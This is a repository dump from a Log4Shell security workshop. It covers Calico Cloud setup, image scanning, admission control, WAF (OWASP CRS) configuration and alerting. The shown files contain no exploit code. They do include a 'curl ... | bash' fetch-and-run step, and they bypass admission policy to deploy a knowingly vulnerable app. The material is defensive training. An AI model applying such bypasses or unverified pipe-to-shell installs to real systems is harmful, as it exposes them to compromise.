workshop/felix/felix.yaml 45 | kubectl apply -f workshop/dsg 46 | ``` 47 | 48 | Enable layer 7 logging for our vulnerable `java-app`. 49 | 50 | ``` 51 | kubectl annotate svc java-app -n java-app projectcalico.org/l7-logging=true 52 | ``` 53 | 54 | ![intro](img/cc-dynamic-service-graph.png) 55 | 56 | Setup alerting for suspicious DNS lookups and WAF ruleset matches. 57 | 58 | ``` 59 | kubectl apply -f workshop/alerts 60 | ``` 61 | 62 | 63 | [Next -> Module 6](exploitation.md) 64 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | # 11 | # The purpose of this file is to hold LOCAL exceptions for your site. 12 | # The types of rules that would go into this file are one where you want 13 | # to unconditionally disable rules or modify their actions during startup. 14 | # 15 | # Please see the file REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example 16 | # for a description of the rule exclusions mechanism and the correct 17 | # use of this file. 18 | # 19 | 20 | # 21 | # Example Exclusion Rule: To unconditionally disable a rule ID 22 | # 23 | # ModSecurity Rule Exclusion: 942100 SQL Injection Detected via libinjection 24 | # SecRuleRemoveById 942100 25 | 26 | # Example Exclusion Rule: Remove a group of rules 27 | # 28 | # ModSecurity Rule Exclusion: Disable PHP injection rules 29 | # SecRuleRemoveByTag "attack-injection-php" 30 | 31 | # 32 | # Example Exclusion Rule: To unconditionally remove parameter "foo" from 33 | # inspection for SQLi rules 34 | # 35 | # ModSecurity Rule Exclusion: disable sqli rules for parameter foo. 36 | # SecRuleUpdateTargetByTag "attack-sqli" "!ARGS:foo" 37 | 38 | 39 | # -- [[ Changing the Disruptive Action for Anomaly Mode ]] -- 40 | # 41 | # In Anomaly Mode (default in CRS3), the rules in REQUEST-949-BLOCKING-EVALUATION.conf 42 | # and RESPONSE-959-BLOCKING-EVALUATION.conf check the accumulated attack scores 43 | # against your policy. To apply a disruptive action, they overwrite the default 44 | # actions specified in SecDefaultAction (setup.conf) with a 'deny' action. 45 | # This 'deny' is by default paired with a 'status:403' action. 46 | # 47 | # In order to change the disruptive action from 'deny' to something else, 48 | # you must use SecRuleUpdateActionByID directives AFTER the CRS rules 49 | # are configured, for instance in the RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf file. 50 | # 51 | # These actions only apply when using Anomaly Mode. 52 | # 53 | # Default action: block with error 403 54 | # (No configuration needed in this file if you want the default behavior.) 55 | # 56 | 57 | # Example: redirect back to the homepage on blocking 58 | # 59 | # SecRuleUpdateActionById 949110 "t:none,redirect:'http://%{request_headers.host}/'" 60 | # SecRuleUpdateActionById 959100 "t:none,redirect:'http://%{request_headers.host}/'" 61 | 62 | # Example: redirect to another URL on blocking 63 | # 64 | # SecRuleUpdateActionById 949110 "t:none,redirect:'http://example.com/report_problem'" 65 | # SecRuleUpdateActionById 959100 "t:none,redirect:'http://example.com/report_problem'" 66 | 67 | # Example: send an error 404 68 | # 69 | # SecRuleUpdateActionById 949110 "t:none,deny,status:404" 70 | # SecRuleUpdateActionById 959100 "t:none,deny,status:404" 71 | 72 | # Example: drop the connection (best for DoS attacks) 73 | # 74 | # SecRuleUpdateActionById 949110 "t:none,drop" 75 | # SecRuleUpdateActionById 959100 "t:none,drop" 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # prevent-detect-and-mitigate-container-based-threats 2 | 3 | ![main](doc/img/blackhat_felix.png) 4 | 5 | Using a recent real-world example, we'll illustrate how to prevent, detect and mitigate the risk of container-based threats using [Calico Cloud](https://www.calicocloud.io/home). 6 | 7 | The [Spring Boot web application](https://github.com/christophetd/log4shell-vulnerable-app) used in this workshop is vulnerable to Log4Shell ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)). 8 | 9 | ## Learning Objectives 10 | 11 | This [workshop](#workshop-modules) will teach you how to use [Calico Cloud](https://www.calicocloud.io/home) to protect mission-critical applications from container-based threats. You will learn how to assess your applications for vulnerabilities before deploying them to Kubernetes clusters, and how to set policies to control whether they are allowed to run. You will also learn how to exploit a vulnerable application to exfiltrate sensitive information and gain remote access. Finally, you will learn how to detect and observe attacks in real-time, isolate the intruder elements, and gather evidence to report the incident. 12 | 13 | We will guide you through the following Calico Cloud use cases: 14 | 15 | ### Image Assurance 16 | 17 | - Detect vulnerabilities in container images at build and runtime. 18 | 19 | - Use policy to prevent vulnerable container images from being deployed. 20 | 21 | ### Dynamic Service and Threat Graph 22 | 23 | - Expose reconnaissance gathering and exploitation attempts. 24 | 25 | - Observe data exfiltration of sensitive information leaving the cluster. 26 | 27 | ### Deep Packet Inspection 28 | 29 | - Detect exploitation attempts by evaluating workload traffic against intrusion detection signatures. 30 | 31 | ### Malware Detection 32 | 33 | - Detect the presence of malicious files and processes in compromised workloads. 34 | 35 | ### Workload-based Web Application Firewall (WAF) 36 | 37 | - Detect and block OWASP top 10 and other threats like Log4Shell. 38 | 39 | ## Workshop Prerequisites 40 | 41 | - k8s cluster compliant with [system requirements](https://docs.calicocloud.io/get-started/requirements/system-requirements) 42 | - `Docker` 43 | - `curl` 44 | - `kubectl` 45 | 46 | ## Workshop Modules 47 | 48 | - [Module 1: Creating a Kubernetes cluster](doc/k8s.md) 49 | - [Module 2: Join the cluster to Calico Cloud](doc/calicocloud.md) 50 | - [Module 3: Introduction to the Log4j vulnerability](doc/intro.md) 51 | - [Module 4: Prevent](doc/prevention.md) 52 | - [Module 5: Detect](doc/detection.md) 53 | - [Module 6: Exploit](doc/exploitation.md) 54 | - [Module 7: Mitigate](doc/mitigation.md) 55 | - [Module 8: Respond](doc/incidentresponse.md) 56 | 57 | 58 | ## Reference 59 | 60 | - [Tigera - How security policies can protect your environment from future vulnerabilities like Log4j](https://www.tigera.io/blog/how-network-security-policies-can-protect-your-environment-from-future-vulnerabilities-like-log4j) 61 | - [Tigera - Zero trust for cloud-native workloads: Mitigating future Log4j incidents](https://www.tigera.io/blog/zero-trust-for-cloud-native-workloads-part-2-mitigating-future-log4j-incidents) 62 | - [Amazon - Using AWS security services to protect against, detect, and respond to the Log4j vulnerability](https://aws.amazon.com/blogs/security/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability) 63 | - [Microsoft - Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability](https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation) 64 | -------------------------------------------------------------------------------- /doc/prevention.md: -------------------------------------------------------------------------------- 1 | # Prevention 2 | 3 | 4 | ## Image Assurance 5 | 6 | Detect vulnerabilities in container images at build and runtime. 7 | 8 | Before deploying our application, let's [scan the images for vulnerabilities](https://docs.calicocloud.io/image-assurance/scan-image-registries) using the CLI. 9 | 10 | ``` 11 | docker pull quay.io/jsabo/log4shell-vulnerable-app:latest 12 | tigera-scanner scan quay.io/jsabo/log4shell-vulnerable-app:latest 13 | ``` 14 | 15 | Explore the image scan results in Calico Cloud. 16 | 17 | ![cc](img/cc-scan-result.png) 18 | 19 | The command line interface (CLI) based scanner can easily be integrated into a developer's workflow and continuous integration/continuous delivery (CI/CD) pipelines. For example, we have integrated the CLI based scanner into our development process using [Github Actions workflows](https://github.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/blob/main/.github/workflows/run-tigera-scanner.yaml). 20 | 21 | To view the results of the Tigera container scan, click on the workflow status badge below. 22 | 23 | [![Calico Cloud Container Scan Results](https://github.com/tigera-solutions/detect-and-mitigate-container-based-threats/actions/workflows/run-tigera-scanner.yaml/badge.svg)](https://github.com/tigera-solutions/detect-and-mitigate-container-based-threats/actions/workflows/run-tigera-scanner.yaml) 24 | 25 | 26 | ## Admission Controller 27 | 28 | Use policy to prevent vulnerable container images from being deployed. 29 | 30 | Before [deploying the admission controller](https://docs.calicocloud.io/image-assurance/install-the-admission-controller), we have to create some certificates to secure the communication between the controller and the Kubernetes api. Once we have the certs we can add them to the admission controller deployment and apply them to the cluster. 31 | 32 | ``` 33 | curl https://installer.calicocloud.io/manifests/v3.16.1-11/manifests/generate-open-ssl-key-cert-pair.sh | bash 34 | sed -i '' "s/BASE64_CERTIFICATE/$(base64 < admission_controller_cert.pem)/g" workshop/iaac/tigera-image-assurance-admission-controller-deploy.yaml 35 | sed -i '' "s/BASE64_KEY/$(base64 < admission_controller_key.pem)/g" workshop/iaac/tigera-image-assurance-admission-controller-deploy.yaml 36 | kubectl create -f workshop/iaac 37 | ``` 38 | 39 | Let's deploy the workshop applications. 40 | 41 | ``` 42 | kubectl apply -f apps 43 | ``` 44 | 45 | Notice the following error in the output. 46 | 47 | ``` 48 | Error from server (Action 'Reject' enforced by ContainerPolicy reject-failed rule index 1): error when creating "apps/java-app.yaml": admission webhook "image-assurance.tigera.io" denied the request: Action 'Reject' enforced by ContainerPolicy reject-failed rule index 1 49 | ``` 50 | 51 | The deployment of the `java-app` will fail because the Admission Controller policy is preventing the deployment of vulnerable workloads. 52 | 53 | 54 | ## Vulnerability Management 55 | 56 | Our admission controller should prevent running applications with CVSS scores above 7. These are the vulnerabilities with `critical` and `high` CVSS scores. We want to override the policy that prevents the deployment of the `java-app` due to critical vulnerabilities so that we can access it. 57 | 58 | Select the image and choose all the Critical and High CVEs. Click on Bulk Edit and add an exception. 59 | 60 | ![cc](img/cc-add-exception.png) 61 | 62 | After creating exceptions for the vulnerabilities, you should now be able to deploy the vulnerable 'java-app' workload. 63 | 64 | ``` 65 | kubectl label namespaces java-app tigera-admission-controller- 66 | kubectl apply -f apps/java-app.yaml 67 | ``` 68 | 69 | 70 | [Next -> Module 5](detection.md) 71 | -------------------------------------------------------------------------------- /doc/calicocloud.md: -------------------------------------------------------------------------------- 1 | # Join the cluster to Calico Cloud 2 | 3 | ## Sign up for Calico Cloud 4 | 5 | Browse to [calicocloud.io](http://calicocloud.io) and sign up for a free trial account for the workshop. 6 | 7 | Be sure to check your Inbox to validate your email address. 8 | 9 | ![cc](img/cc-signup.png) 10 | 11 | ## Connect workshop cluster 12 | 13 | Browse to Managed Clusters on the side bar and click on `Connect Cluster`. 14 | 15 | Let's connect the cluster we just created. 16 | 17 | ![cc](img/cc-join-cluster.png) 18 | 19 | Enter `workshop` or a name of your choice for the `Cluster Name` and choose the appropriate `Cluster Type`. Select `Advanced Options` and you should be able to select `Install Via Helm`. 20 | 21 | If you brought your own cluster for the workshop, select the options for your cluster type. 22 | 23 | ![cc](img/cc-connect-cluster.png) 24 | 25 | When you click on the blue `Connect` button you will be able to copy and paste the Helm commands into your terminal. This will upgrade Calico and connect your cluster to Calico Cloud. 26 | 27 | ![cc](img/cc-copy-helm.png) 28 | 29 | You should see some output in your terminal instructing you on how to monitor the progress of the upgrade and connection to Calico Cloud in your terminal. You can also monitor the progress in Calico Cloud. 30 | 31 | ``` 32 | kubectl get installer default --namespace calico-cloud -o jsonpath --template '{.status}' -w 33 | ``` 34 | 35 | ``` 36 | {"clusterName":"workshop","imagePath":"","message":"","registry":"","resourceVersion":"gjkhzdtr","state":"done"} 37 | ``` 38 | 39 | ![cc](img/cc-cluster-connected.png) 40 | 41 | When the installation is 100% completed confirm with the Calico Cloud operator that everything is up and running. 42 | 43 | ``` 44 | kubectl get tigerastatus 45 | ``` 46 | 47 | ``` 48 | NAME AVAILABLE PROGRESSING DEGRADED SINCE 49 | apiserver True False False 42m 50 | calico True False False 40m 51 | compliance True False False 40m 52 | intrusion-detection True False False 40m 53 | log-collector True False False 40m 54 | management-cluster-connection True False False 41m 55 | monitor True False False 41m 56 | ``` 57 | 58 | 59 | ## Setup Tigera Container Image Scanner 60 | 61 | `tigera-scanner` is a tool designed by Tigera to scan container images for vulnerabilities. When using this scanner, you receive information about any vulnerabilities found in the container image and can choose to send this information to Calico Cloud. 62 | 63 | Download the cli based scanner for your particular operating system by clicking on the `Download Scanner` button. 64 | 65 | ![cc](img/cc-download-scanner.png) 66 | 67 | Enable the Runtime view and configure the cli based scanner to send the local scan results to Calico Cloud. 68 | 69 | ![cc](img/cc-configure-scanner.png) 70 | 71 | By enabling the Runtime View setting in the Scan Settings, Calico Cloud will constantly monitor the pods running in your Kubernetes clusters. This allows Calico Cloud to associate the running pods with the images you have previously recorded in the Image Assurance system. 72 | 73 | Create a hidden file named `.tigera-scanner.yaml` in your home directory. In this file, you will need to copy the API URL and API Token that you can find in Calico Cloud. Make sure to include both the URL and the token in the file as shown below. 74 | 75 | ``` 76 | --- 77 | apiurl: 78 | token: 79 | warn_threshold: 3.9 80 | fail_threshold: 7 81 | ``` 82 | 83 | 84 | [Next -> Module 3](intro.md) 85 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/REQUEST-949-BLOCKING-EVALUATION.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | # 11 | # -= Paranoia Level 0 (empty) =- (apply unconditionally) 12 | # 13 | 14 | # Summing up the anomaly score. 15 | 16 | # NOTE: tx.anomaly_score should not be set initially, but masking would lead to difficult bugs. 17 | # So we add to it. 18 | SecRule TX:PARANOIA_LEVEL "@ge 1" \ 19 | "id:949060,\ 20 | phase:2,\ 21 | pass,\ 22 | t:none,\ 23 | nolog,\ 24 | setvar:'tx.anomaly_score=+%{tx.anomaly_score_pl1}'" 25 | 26 | SecRule TX:PARANOIA_LEVEL "@ge 2" \ 27 | "id:949061,\ 28 | phase:2,\ 29 | pass,\ 30 | t:none,\ 31 | nolog,\ 32 | setvar:'tx.anomaly_score=+%{tx.anomaly_score_pl2}'" 33 | 34 | SecRule TX:PARANOIA_LEVEL "@ge 3" \ 35 | "id:949062,\ 36 | phase:2,\ 37 | pass,\ 38 | t:none,\ 39 | nolog,\ 40 | setvar:'tx.anomaly_score=+%{tx.anomaly_score_pl3}'" 41 | 42 | SecRule TX:PARANOIA_LEVEL "@ge 4" \ 43 | "id:949063,\ 44 | phase:2,\ 45 | pass,\ 46 | t:none,\ 47 | nolog,\ 48 | setvar:'tx.anomaly_score=+%{tx.anomaly_score_pl4}'" 49 | 50 | 51 | SecMarker "BEGIN-REQUEST-BLOCKING-EVAL" 52 | 53 | # These rules use the anomaly score settings specified in the 10 config file. 54 | # You should also set the desired disruptive action (deny, redirect, etc...). 55 | # 56 | # -=[ IP Reputation Checks ]=- 57 | # 58 | # Block based on variable IP.REPUT_BLOCK_FLAG and TX.DO_REPUT_BLOCK 59 | # 60 | SecRule IP:REPUT_BLOCK_FLAG "@eq 1" \ 61 | "id:949100,\ 62 | phase:2,\ 63 | deny,\ 64 | log,\ 65 | msg:'Request Denied by IP Reputation Enforcement',\ 66 | logdata:'Previous Block Reason: %{ip.reput_block_reason}',\ 67 | tag:'application-multi',\ 68 | tag:'language-multi',\ 69 | tag:'platform-multi',\ 70 | tag:'attack-reputation-ip',\ 71 | ver:'OWASP_CRS/3.3.2',\ 72 | severity:'CRITICAL',\ 73 | chain" 74 | SecRule TX:DO_REPUT_BLOCK "@eq 1" \ 75 | "setvar:'tx.inbound_anomaly_score=%{tx.anomaly_score}'" 76 | 77 | # 78 | # -=[ Anomaly Mode: Overall Transaction Anomaly Score ]=- 79 | # 80 | SecRule TX:ANOMALY_SCORE "@ge %{tx.inbound_anomaly_score_threshold}" \ 81 | "id:949110,\ 82 | phase:2,\ 83 | deny,\ 84 | t:none,\ 85 | log,\ 86 | msg:'Inbound Anomaly Score Exceeded (Total Score: %{TX.ANOMALY_SCORE})',\ 87 | tag:'application-multi',\ 88 | tag:'language-multi',\ 89 | tag:'platform-multi',\ 90 | tag:'attack-generic',\ 91 | ver:'OWASP_CRS/3.3.2',\ 92 | severity:'CRITICAL',\ 93 | setvar:'tx.inbound_anomaly_score=%{tx.anomaly_score}'" 94 | 95 | 96 | 97 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 1" "id:949011,phase:1,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 98 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 1" "id:949012,phase:2,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 99 | # 100 | # -= Paranoia Level 1 (default) =- (apply only when tx.executing_paranoia_level is sufficiently high: 1 or higher) 101 | # 102 | 103 | 104 | 105 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 2" "id:949013,phase:1,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 106 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 2" "id:949014,phase:2,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 107 | # 108 | # -= Paranoia Level 2 =- (apply only when tx.executing_paranoia_level is sufficiently high: 2 or higher) 109 | # 110 | 111 | 112 | 113 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 3" "id:949015,phase:1,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 114 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 3" "id:949016,phase:2,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 115 | # 116 | # -= Paranoia Level 3 =- (apply only when tx.executing_paranoia_level is sufficiently high: 3 or higher) 117 | # 118 | 119 | 120 | 121 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 4" "id:949017,phase:1,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 122 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 4" "id:949018,phase:2,pass,nolog,skipAfter:END-REQUEST-949-BLOCKING-EVALUATION" 123 | # 124 | # -= Paranoia Level 4 =- (apply only when tx.executing_paranoia_level is sufficiently high: 4 or higher) 125 | # 126 | 127 | 128 | 129 | # 130 | # -= Paranoia Levels Finished =- 131 | # 132 | SecMarker "END-REQUEST-949-BLOCKING-EVALUATION" 133 | -------------------------------------------------------------------------------- /workshop/iaac/tigera-image-assurance-admission-controller-deploy.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Secret 3 | metadata: 4 | name: tigera-image-assurance-admission-controller-certs 5 | namespace: tigera-image-assurance 6 | type: Opaque 7 | data: 8 | tls.crt: BASE64_CERTIFICATE 9 | tls.key: BASE64_KEY 10 | --- 11 | apiVersion: v1 12 | kind: ServiceAccount 13 | metadata: 14 | name: tigera-secure-container-admission-controller 15 | namespace: tigera-image-assurance 16 | --- 17 | apiVersion: rbac.authorization.k8s.io/v1 18 | kind: ClusterRole 19 | metadata: 20 | name: tigera-secure-container-admission-controller 21 | namespace: tigera-image-assurance 22 | rules: 23 | - apiGroups: 24 | - "containersecurity.tigera.io" 25 | resources: 26 | - "containeradmissionpolicies" 27 | verbs: 28 | - get 29 | - list 30 | - watch 31 | - apiGroups: 32 | - "" 33 | resources: 34 | - namespaces 35 | verbs: 36 | - get 37 | - list 38 | - watch 39 | --- 40 | apiVersion: rbac.authorization.k8s.io/v1 41 | kind: ClusterRoleBinding 42 | metadata: 43 | name: tigera-secure-container-admission-controller 44 | namespace: tigera-image-assurance 45 | roleRef: 46 | apiGroup: rbac.authorization.k8s.io 47 | kind: ClusterRole 48 | name: tigera-secure-container-admission-controller 49 | subjects: 50 | - kind: ServiceAccount 51 | name: tigera-secure-container-admission-controller 52 | namespace: tigera-image-assurance 53 | --- 54 | apiVersion: apps/v1 55 | kind: Deployment 56 | metadata: 57 | labels: 58 | k8s-app: tigera-image-assurance-admission-controller 59 | name: tigera-image-assurance-admission-controller 60 | namespace: tigera-image-assurance 61 | spec: 62 | progressDeadlineSeconds: 600 63 | replicas: 1 64 | revisionHistoryLimit: 10 65 | selector: 66 | matchLabels: 67 | name: tigera-image-assurance-admission-controller 68 | template: 69 | metadata: 70 | labels: 71 | k8s-app: tigera-image-assurance-admission-controller 72 | name: tigera-image-assurance-admission-controller 73 | spec: 74 | serviceAccountName: tigera-secure-container-admission-controller 75 | hostNetwork: true 76 | dnsPolicy: ClusterFirstWithHostNet 77 | containers: 78 | - image: quay.io/tigera/image-assurance-admission-controller:v1.2.1 79 | imagePullPolicy: IfNotPresent 80 | name: tigera-image-assurance-admission-controller 81 | env: 82 | - name: IMAGE_ASSURANCE_ORGANIZATION_ID 83 | valueFrom: 84 | configMapKeyRef: 85 | key: organizationID 86 | name: tigera-image-assurance-config 87 | - name: IMAGE_ASSURANCE_LOG_LEVEL 88 | value: INFO 89 | - name: IMAGE_ASSURANCE_BAST_APIURL 90 | value: "https://tigera-image-assurance-api.tigera-image-assurance.svc:9443" 91 | - name: IMAGE_ASSURANCE_BAST_API_TOKEN 92 | valueFrom: 93 | secretKeyRef: 94 | key: token 95 | name: tigera-image-assurance-admission-controller-api-access 96 | ports: 97 | - containerPort: 8080 98 | volumeMounts: 99 | - mountPath: /certs/https/ 100 | name: certs 101 | readOnly: true 102 | - mountPath: /certs/bast 103 | name: tigera-secure-bast-server-tls 104 | readOnly: true 105 | imagePullSecrets: 106 | - name: tigera-pull-secret 107 | volumes: 108 | - name: certs 109 | secret: 110 | defaultMode: 420 111 | items: 112 | - key: tls.crt 113 | path: cert.pem 114 | - key: tls.key 115 | path: key.pem 116 | secretName: tigera-image-assurance-admission-controller-certs 117 | - name: tigera-secure-bast-server-tls 118 | secret: 119 | defaultMode: 420 120 | items: 121 | - key: tls.crt 122 | path: tls.crt 123 | secretName: tigera-image-assurance-api-cert 124 | --- 125 | apiVersion: v1 126 | kind: Service 127 | metadata: 128 | name: tigera-image-assurance-admission-controller-service 129 | namespace: tigera-image-assurance 130 | labels: 131 | k8s-app: tigera-image-assurance-admission-controller-service 132 | spec: 133 | selector: 134 | k8s-app: tigera-image-assurance-admission-controller 135 | ports: 136 | - port: 8089 137 | targetPort: 8080 138 | protocol: TCP 139 | --- 140 | apiVersion: admissionregistration.k8s.io/v1 141 | kind: ValidatingWebhookConfiguration 142 | metadata: 143 | name: "image-assurance.tigera.io" 144 | webhooks: 145 | - name: "image-assurance.tigera.io" 146 | namespaceSelector: 147 | matchExpressions: 148 | - key: "tigera-admission-controller" 149 | operator: "In" 150 | values: 151 | - "enforcing" 152 | rules: 153 | - apiGroups: ["*"] 154 | apiVersions: ["*"] 155 | operations: ["CREATE", "UPDATE"] 156 | resources: ["pods", "replicasets", "deployments", "statefulsets", "daemonsets", "jobs", "cronjobs"] 157 | scope: "Namespaced" 158 | clientConfig: 159 | service: 160 | namespace: "tigera-image-assurance" 161 | name: "tigera-image-assurance-admission-controller-service" 162 | path: "/admission-review" 163 | port: 8089 164 | caBundle: "BASE64_CERTIFICATE" 165 | admissionReviewVersions: ["v1", "v1beta1"] 166 | sideEffects: None 167 | timeoutSeconds: 5 168 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | # 11 | # The purpose of this file is to hold LOCAL exceptions for your site. The 12 | # types of rules that would go into this file are one where you want to 13 | # short-circuit inspection and allow certain transactions to pass through 14 | # inspection or if you want to alter rules that are applied. 15 | # 16 | # This file is named REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example for a 17 | # very specific reason. Files affixed with the .example extension are designed 18 | # to contain user created/modified data. The '.example'. extension should be 19 | # renamed to end in .conf. The advantage of this is that when OWASP CRS is 20 | # updated, the updates will not overwrite a user generated configuration file. 21 | # 22 | # As a result of this design paradigm users are encouraged NOT to directly 23 | # modify rules. Instead they should use this 24 | # REQUEST-900-EXCLUSION-RULES-BEFORE-CRS and the 25 | # RESPONSE-999-EXCLUSION-RULES-AFTER-CRS file to modify OWASP rules using 26 | # methods similar to the examples specified below. 27 | # 28 | # REQUEST-900-EXCLUSION-RULES-BEFORE-CRS and 29 | # RESPONSE-999-EXCLUSION-RULES-AFTER-CRS serve different purposes. ModSecurity 30 | # effectively maintains two different context: startup, and per transaction. 31 | # As a rule, directives are processed within the startup context. While they 32 | # can affect the per transaction context they generally remain fixed during the 33 | # execution of ModSecurity. 34 | # 35 | # As a result if one wanted to disable a rule at bootup the SecRuleRemoveById 36 | # directive or one of its siblings would have to be placed AFTER the rule is 37 | # listed, otherwise it will not have knowledge of the rules existence (since 38 | # these rules are read in at the same time). This means that when using 39 | # directives that effect SecRules, these exceptions should be placed AFTER all 40 | # the existing rules. This is why RESPONSE-999-EXCLUSION-RULES-AFTER-CRS is 41 | # designed such that it loads LAST. 42 | # 43 | # Conversely, ModSecurity supports several actions that can change the state of 44 | # the underlying configuration during the per transaction context, this is when 45 | # rules are being processed. Generally, these are accomplished by using the 46 | # 'ctl' action. As these are part of a rule, they will be evaluated in the 47 | # order rules are applied (by physical location, considering phases). As a 48 | # result of this ordering a 'ctl' action should be placed with consideration to 49 | # when it will be executed. This is particularly relevant for the 'ctl' options 50 | # that involve modifying ID's (such as ruleRemoveById). In these cases it is 51 | # important that such rules are placed BEFORE the rule ID they will affect. 52 | # Unlike the setup context, by the time we process rules in the per-transaction 53 | # context, we are already aware of all the rule ID's. It is by this logic that 54 | # we include rules such as this BEFORE all the remaining rules. As a result 55 | # REQUEST-900-EXCLUSION-RULES-BEFORE-CRS is designed to load FIRST. 56 | # 57 | # As a general rule: 58 | # ctl:ruleEngine -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 59 | # ctl:ruleRemoveById -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 60 | # ctl:ruleRemoveByMsg -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 61 | # ctl:ruleRemoveByTag -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 62 | # ctl:ruleRemoveTargetById -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 63 | # ctl:ruleRemoveTargetByMsg -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 64 | # ctl:ruleRemoveTargetByTag -> place in REQUEST-900-EXCLUSION-RULES-BEFORE-CRS 65 | # 66 | # SecRuleRemoveById -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 67 | # SecRuleRemoveByMsg -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 68 | # SecRuleRemoveByTag -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 69 | # SecRuleUpdateActionById -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 70 | # SecRuleUpdateTargetById -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 71 | # SecRuleUpdateTargetByMsg -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 72 | # SecRuleUpdateTargetByTag -> place in RESPONSE-999-EXCLUSION-RULES-AFTER-CRS 73 | # 74 | # 75 | # What follows are a group of examples that show you how to perform rule 76 | # exclusions. 77 | # 78 | # 79 | # Example Exclusion Rule: Disable inspection for an authorized client 80 | # 81 | # This ruleset allows you to control how ModSecurity will handle traffic 82 | # originating from Authorized Vulnerability Scanning (AVS) sources. See 83 | # related blog post - 84 | # http://blog.spiderlabs.com/2010/12/advanced-topic-of-the-week-handling-authorized-scanning-traffic.html 85 | # 86 | # White-list ASV network block (no blocking or logging of AVS traffic) Update 87 | # IP network block as appropriate for your AVS traffic 88 | # 89 | # ModSec Rule Exclusion: Disable Rule Engine for known ASV IP 90 | # SecRule REMOTE_ADDR "@ipMatch 192.168.1.100" \ 91 | # "id:1000,\ 92 | # phase:1,\ 93 | # pass,\ 94 | # nolog,\ 95 | # ctl:ruleEngine=Off" 96 | # 97 | # 98 | # Example Exclusion Rule: Removing a specific ARGS parameter from inspection 99 | # for an individual rule 100 | # 101 | # This rule shows how to conditionally exclude the "password" 102 | # parameter for rule 942100 when the REQUEST_URI is /index.php 103 | # ModSecurity Rule Exclusion: 942100 SQL Injection Detected via libinjection 104 | # 105 | # SecRule REQUEST_URI "@beginsWith /index.php" \ 106 | # "id:1001,\ 107 | # phase:1,\ 108 | # pass,\ 109 | # nolog,\ 110 | # ctl:ruleRemoveTargetById=942100;ARGS:password" 111 | # 112 | # 113 | # Example Exclusion Rule: Removing a specific ARGS parameter from inspection 114 | # for only certain attacks 115 | # 116 | # Attack rules within the CRS are tagged, with tags such as 'attack-lfi', 117 | # 'attack-sqli', 'attack-xss', 'attack-injection-php', et cetera. 118 | # 119 | # ModSecurity Rule Exclusion: Disable inspection of ARGS:pwd 120 | # for all rules tagged attack-sqli 121 | # SecRule REQUEST_FILENAME "@endsWith /wp-login.php" \ 122 | # "id:1002,\ 123 | # phase:2,\ 124 | # pass,\ 125 | # nolog,\ 126 | # ctl:ruleRemoveTargetByTag=attack-sqli;ARGS:pwd" 127 | # 128 | 129 | # Example Exclusion Rule: Removing a specific ARGS parameter from inspection 130 | # for all CRS rules 131 | # 132 | # This rule illustrates that we can use tagging very effectively to whitelist a 133 | # common false positive across an entire 